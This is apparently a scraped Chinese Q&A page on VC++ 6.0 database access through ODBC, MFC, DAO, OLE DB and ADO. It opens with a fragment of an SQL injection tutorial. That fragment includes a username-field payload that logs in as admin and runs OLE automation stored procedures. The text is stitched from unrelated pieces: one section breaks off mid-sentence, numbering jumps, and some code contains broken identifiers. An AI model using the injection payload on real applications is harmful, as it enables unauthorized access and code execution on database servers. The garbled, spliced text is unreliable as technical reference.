exec sp_oamethod @o,'register',NULL,'foo','bar'
exec sp_oasetproperty @o,'speed',150
exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
waitfor delay '00:00:05'
我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):
Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--
[存储过程]
传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。
本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。
比较好的常规的标准是:
· 如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够引起SQL注入的弱点。
· 如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的
5. 怎样用vc++ 6.0访问SQL Server数据库
从功能简单的数据库(如Jet Engine)到复杂的大型数据库系统(如oracle),VC++6.0都提供了一些编程接口。本文主要介绍以下五种: 1.ODBC API;2.MFC ODBC类;3.MFC DAO类;(数据访问对象)4.MFC的OLE/DB;5.ActiveX数据对象(ADO)。6.RDO远程数据访问
1.开放数据库连接(ODBC API):提供了一个通用的编程接口,允许程序与多种不同的数据库连接。它为Oracle,SQL Server,MS Excel等都提供了驱动程序,使得用户可以使用SQL语句对数据库进行直接的底层功能操作。在使用ODBC API时,用户须引入的头文件为 "sql.h ", "sqlext.h ", "sqltypes.h "。用ODBC API创建数据库应用程序遵循一定的基本步骤:
第一步是分配ODBC环境,使一些内部结构初始化。完成这一步,须分配一个SQLHENV类型的变量在ODBC环境中做句柄使用。
第二步是为将要使用的每一个数据源分配一个连接句柄,由函数SQLALLocHandle()完成。
第三步是使用SQLConnect()把连接句柄与数据库连接,可以先通过SQLSetConnectAttr()设置连接属性。
然后就可以进行SQL语句的操作,限于篇幅,相关的函数就不具体介绍了,读者可以参考相关书籍。
操作完成后,用户取回相应的结果,就可以取消与数据库的连接。
最后需要释放ODBC环境。
ODBC API的特点是功能强大丰富,提供了异步操作,事务处理等高级功能,但相应的编程复杂,工作量大。
2.MFC ODBC类:MFC1.5后的版本里引入封装了ODBC功能的类。通过这些类提供与ODBC的接口,使得用户可以不须处理ODBC API中的繁杂处理就可以进行数据库操作。主要的MFC ODBC类如下。
CDatabase类:一个CDatabase对象表示一个到数据源的连接,通过它可以操作数据源。应用程序可使用多个CDatabase对象:构造一个对象并调用OpenEx()成员函数打开一个连接。接着构造CRecordSet对象以操作连接的数据源,并向CDatabase对象传递记录集构造程序指针。完成使用后用Close()成员函数销毁CDatabase对象。一般情况下并不需要直接使用CDatabase对象,因为CRecordSet对象可以实现大多数的功能。但是在进行事务处理时,CDatabase就起到关键作用。事务(Transaction)指的是将一系列对数据源的更新放在一起,同时提交或一个也不提交,为的是确保多用户对数据源同时操作时的数据正确性。
CRecordSet类:一个CRecordSet对象代表一个从数据源选择的一组记录的集合-记录集。记录集有两种形式:snapshot和dynaset。前者表示数据的静态视图,后者表示记录集与其他用户对数据库的更新保持同步。通过CRecordSet对象,用户可以对数据库中的记录进行各种操作。
CRecordView类:CRecordView对象是在空间中显示数据库记录的视图。这种视图是一种直接连到一个CRecordSet对象的格式视图,它从一个对话框模板资源创建,并将CRecordSet对象的字段显示在对话框模板的控件里。对象利用DDX和RFX机制,使格式上的控件和记录集的字段之间数据移动自动化,也就是说,用户甚至不要编写一行代码就可以实现简单的数据库记录查看程序。
CDBException类:由Cexception类派生,以三个继承的成员变量反映对数据库操作时的异常:
m_nRetCode:以ODBC返回代码(SQL_RETURN)的形式表明造成异常的原因。
m_strError:字符串,描述造成抛出异常的错误原因。
m_strStateNativeOrigin:字符串,用以描述以ODBC错误代码表示的异常错误。
MFC数据库类成员函数都能抛出CDBException类型的异常,所以在代码对数据库进行操作后监测异常是正确做法。
MFC ODBC类在实际开发中应用最广,因为它功能丰富,操作相对简便。
3.MFC DAO(数据访问对象)编程:DAO用于和微软的Access数据库接口。在数据库应用程序如果只需与Access数据库接口时,使用DAO编程较方便。其主要类如下。
CDaoWorkspace:CDaoWorkspace对象可以让一个用户管理从登陆到离开期间,指定的密码保护的数据库会话全过程。大多数情况下不要多个工作区也不要创建明确的工作区对象。因为在打开数据库和记录集对象时,它们可以使用DAO缺省工作区。
CDaoDatabase:代表一个连接,类似上述CDatabase类。
CDaoRecordSet:用来选择记录集并操作,类似上述CRecordSet类。
CDaoRecordView:类似上述CRecordView类。
CDaoException:类似上述CDBException类。
CDaoTableDef:表示基本表或附加表的定义。每个DAO数据库对象包括一个称为TableDef的收集,包含所有存储的DAO表定义对象。CDaoTableDef对象可以用来控制表定义。
CDaoQueryDef:CDaoQueryDef对象表示了一个查询定义(querydef)。
CDaoFieldExchange:支持数据库类使用的DAO字段交换(DFX)例程。也可处理事务,类似MFC ODBC类。
MFC DAO仅用来支持Access数据库,应用范围相对固定。
4.OLE DB:OLE DB在数据提供程序和用户之间提供了灵活的组件对象模型(COM)接口,这种灵活性有时会使得操作复杂化。OLE DB框架定义了应用的三个基本类。
数据提供程序Data Provider:拥有自己的数据并以表格形式显示数据的应用程序。提供OLE DB的行集COM接口,期显示范围可以从单一数据表格的简单提供者知道更复杂的分布式数据库系统。
使用者Consumers:使用OLE DB接口对存储在数据提供程序中的数据进行控制的应用程序。用户应用程序归为使用类。
服务提供程序Service Provider:是数据提供程序和使用者的组合。服务提供程序没有自己的数据,但使用
OLE DB使用者接口来访问存储在数据提供程序中的数据。然后,服务提供程序通过打开数据提供程序接口使得数据对使用者有效。服务提供程序常用于向应用程序提供高层次服务,比如高级分布式查询。
OLE DB编程时,用户使用组件对象开发应用程序。这些组件有:
枚举器:用于列出可用的数据源;
数据源:代表单独的数据和服务提供程序,用于创建对话;
对话:用于创建事务和命令;
事务:用于将多个操作归并为单一事务处理;
命令:用于向数据源发送文本命令(SQL),返回行集;
错误:用于获得错误信息。
5.ActiveX数据对象(ADO):是微软提供的面向对象的接口,与OLE DB类似,但接口更简单,具有更广泛的特征数组和更高程度的灵活性。ADO基于COM,提供编程语言可利用的对象,除了面向VC++,还提供面向其他各种开发工具的应用,如VB,VJ等。ADO在服务器应用方面非常有用,特别是对于动态服务器页面ASP(Active Server Page)。
ADO对象结构类似于OLE DB,但并不依靠对象层次。大多数情况下,用户只需要创建并只使用需要处理的对象。下面的对象类组成了ADO接口。
Connection:用于表示与数据库的连接,以及处理一些命令和事务。
Command:用于处理传送给数据源的命令。
Recordset:用于处理数据的表格集,包括获取和修改数据。
Field:用于表示记录集中的列信息,包括列值和其他信息。
Parameter:用于对传送给数据源的命令之间来回传送数据。
Property:用与操作在ADO中使用的其他对象的详细属性。
Error:用于获得可能发生的错误的详细信息。
在VC++使用ADO需要进行COM操作,详细方法在此就不赘述了。
在当今流行的分布式开发环境下,VC++6.0在数据库开发方面有较强的优势,学会
在不同的场合选用不同的技术,对开发人员来说是必要的技术。
6. vc++6.0编程,怎么进行内存数据查询
char strCode[1024];
char strDictionaryText[1024];
strpcy(strDictionaryText,"小明 男 28\r\n小红 女 23\r\n小刚 男 25\r\n");
typedef int (WINAPI ICEPUB_DICTIONARYCODETRANSFER3)(char * strDictionaryText,char *strSrc,char *strCode,char *strFenge);
ICEPUB_DICTIONARYCODETRANSFER3 *icePub_dictionaryCodeTransfer3 = 0;
HINSTANCE hDLLDrv = LoadLibrary("icePubDll.dll");
if(hDLLDrv)
{
icePub_dictionaryCodeTransfer3 = (ICEPUB_DICTIONARYCODETRANSFER3 *)GetProcAddress(hDLLDrv, "icePub_dictionaryCodeTransfer3");
}
if(icePub_dictionaryCodeTransfer3)
icePub_dictionaryCodeTransfer3(strDictionaryText,"小红",strCode, " ");
if(hDLLDrv)
FreeLibrary(hDLLDrv);
AfxMessagBox(strCode);
7. VC++6.0数据库始终无法调用?
数据库编程的思路都是一致的:打开数据库连接-》执行SQL语句-》获得查询结果-》关闭数据库连接,不同的数据库访问技术有不同的要求,比如用C API诘问MySql数据库的时候还得释放查询结果集。
ODBC访问数据库得配置数据源
现在用VC、MFC访问数据库常用的技术是ADO,很实用!
导入ADO库
#import "c:\Program Files\Common Files\System\ADO\msado15.dll" no_namespace rename("EOF", "adoEOF")
2、用导入的动态库的指针操作数据库.
打开数据库连接
_ConnectionPtr m_pConn; // 数据库连接指针
// 创建Conneciton对象
m_pConn.CreateInstance(_T("ADODB.Connection"));
用ConnectionPtr 的open方法m_pConn->Open(_bstr_t(m_sConn),
_T(""), _T(""), lOptions));
m_sConn为你连接数据库的信息,你应该按照你的要求打开数据库
然后你用打开的那个连接进行操作数据库。比如
_RecordsetPtr pRec = m_pConn->Execute(_bstr_t(pszSql), NULL, CmdText);
pszSql 就你要操作数据库的SQL语句。在这个SQL语句里你可以创建表、更新表等。
用ADO访问的时候要求初始他COM库和释放COM对象
// 初始化COM环境(库)
::CoInitialize(NULL);
//释放COM对象
::CoUninitialize();
ODBC访问数据库
配置ODBC数据源:打开控制面板下的“数据源”,弹出“ODBC数据源管理器”,选择DSN选项卡-》添加->你选择你的SQL Server选项,单击完成。如图然后你再按照向导提示添加。
代码中用ODBC访问数据库你得加上afxdb.h头文件,
用CDataBase 类连接数据库、CRecordSet类查询记录。
现在在VC访问数据库常用的是ADO访问,你可以找一下我前面的回答有ADO访问数据库的步骤。
CDataBase m_cODBCDb;
用CDataBase类的OpenEx()函数打开数据库连接。连接字符串你自己构造一下。
定义一个与上面数据库相关的查询对象
CRecordSet m_cODBCRec(&m_cODBCDb);
用这个查询对象的open方法就可以执行SQL语句与数据库交互了;
8. 如何使用VC++6.0实现对ACCESS数据库的增删查改
这个太麻烦了,你到网上找一下,这样的程序太多了,因为和ACCESS数据库,可以用ADO,DAO,ODBC,三种方式,你说写哪一种呢,你自己到网上找吧